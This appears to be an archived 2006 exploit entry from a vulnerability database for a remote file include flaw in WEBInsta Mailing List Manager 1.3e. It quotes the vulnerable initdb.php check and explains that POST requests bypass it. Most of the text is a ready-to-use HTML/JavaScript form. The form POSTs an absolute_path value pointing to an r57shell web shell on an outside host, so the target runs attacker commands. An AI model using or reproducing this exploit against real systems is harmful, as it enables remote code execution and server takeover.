WEBInsta MM <= 1.3e (absolute_path) Remote File Include Exploit

🗓️ 06 Dec 2006 00:00:00Reported by RootType

WEBInsta MM <= 1.3e Remote File Include Exploit: Post requests bypass vulnerability in initdb.ph


                                                &lt;!--
vulnerable code: /maillist/inc/initdb.php
-----------------------------------------------------------------------
if(isset($_GET['absolute_path']))
 {
echo &quot;no access from here !!&quot;;
exit;
}

include($absolute_path.'inc/adodbt/db.inc');
-----------------------------------------------------------------------
The above snippet does not stop post requests to the absolute_path variable.

A r57shell with a twist.

o---[ r57shell - http-shell by RST/GHC | http://rst.void.ru | http://ghc.ru | version 1.31 ]---o

/str0ke ! milw0rm.com
--&gt;

&lt;head&gt;
&lt;title&gt;WEBInsta Mailing List Manager &amp;lt;= 1.3e (initdb.php) Remote File Include Exploit&lt;/title&gt;
&lt;/head&gt;
&lt;script language=&quot;JavaScript&quot;&gt;
function milw0rm() {
  if (document.exploit.target.value==&quot;&quot;) {
    alert(&quot;Enter a Target&quot;);
    return false;
  }

  exploit.action= document.exploit.target.value;
  exploit.cmd.value=document.exploit.cmd.value;
  exploit.dir.value=document.exploit.dir.value;
  exploit.submit();
}
&lt;/script&gt;
&lt;body&gt;
&lt;form name=&quot;exploit&quot; target=&quot;exploitframe&quot; method=&quot;post&quot; onSubmit=&quot;milw0rm();&quot;&gt;
  &lt;table width=&quot;975&quot; border=&quot;0&quot;&gt;
    &lt;tr&gt;
      &lt;td width=&quot;961&quot; align=&quot;left&quot; valign=&quot;top&quot; nowrap=&quot;nowrap&quot;&gt;&lt;strong&gt;WEBInsta Mailing List Manager &amp;lt;= 1.3e (initdb.php) Remote File Include Exploit&lt;/strong&gt;&lt;/td&gt;

    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;
        &lt;input type=&quot;hidden&quot; name=&quot;absolute_path&quot; value=&quot;http://rst.void.ru/download/r57shell.txt?&amp;&quot; /&gt;
        &lt;/em&gt;&lt;strong&gt;*&lt;/strong&gt;&lt;em&gt;target&lt;/em&gt;
        &lt;input name=&quot;target&quot; type=&quot;text&quot; value=&quot;http://www.site.com/maillist/inc/initdb.php&quot; size=&quot;50&quot; maxlength=&quot;150&quot; /&gt;
        &lt;strong&gt; *&lt;/strong&gt;&lt;em&gt;cmd&lt;/em&gt;

        &lt;input name=&quot;cmd&quot; type=&quot;text&quot; value=&quot;ls -la&quot;&gt;
        &lt;strong&gt;*&lt;/strong&gt;&lt;em&gt;dir&lt;/em&gt;
        &lt;input name=&quot;dir&quot; type=&quot;text&quot; value=&quot;.&quot;&gt;
        &lt;em&gt;
        &lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;Exploit&quot; /&gt;
        &lt;/em&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;

  &lt;p&gt;
    &lt;iframe name=&quot;exploitframe&quot; height=&quot;410&quot; width=&quot;1100&quot; scrolling=&quot;yes&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
  &lt;/p&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

06 Dec 2006 00:00Current

7.1High risk

Vulners AI Score7.1

WEBInsta MM &lt;= 1.3e (absolute_path) Remote File Include Exploit

WEBInsta MM <= 1.3e (absolute_path) Remote File Include Exploit